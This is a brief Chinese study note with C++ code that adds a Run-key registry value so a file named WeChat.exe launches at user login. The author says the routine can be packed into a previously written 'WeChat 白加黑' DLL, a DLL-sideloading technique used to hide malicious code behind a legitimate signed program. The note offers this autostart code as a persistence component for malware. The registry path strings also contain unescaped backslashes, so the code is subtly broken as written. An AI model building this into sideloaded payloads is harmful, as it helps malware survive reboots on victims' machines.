自启动模块构造-注册表写入
案例:
以下是我自写的微信自启功能,你可以把功能封装到之前的微信白加黑的dll中。
#include<iostream>
#include<stdio.h>
#include<tchar.h>
#include<windows.h>
using namespace std;
int main() {
HKEY hkey;
long ret = RegOpenKeyExA(HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", 0, KEY_ALL_ACCESS, &hkey);
if (ret == ERROR_SUCCESS) {
ret = RegCreateKeyA(HKEY_CURRENT_USER, ("SOFTWARE\Microsoft\Windows\CurrentVersion\Run"), &hkey);
if (ret == ERROR_SUCCESS) {
ret = RegSetValueExA(hkey, ("WeChat"), 0, REG_SZ, (const BYTE*)("D:\ceshiqu\1\WeChat.exe"), strlen("D:\ceshiqu\1\WeChat.exe"));
RegCloseKey(hkey);
if (ret == ERROR_SUCCESS) {
cout << "OK!!!" << endl;
}
}
}
return 0;
}
思路:
使用RegOpenKeyExA()函数打开注册表,然后使用RegSetValueExA()函数写入注册表。
涉及函数
RegOpenKeyExA()
RegSetValueExA()
已总结至windows API学习中。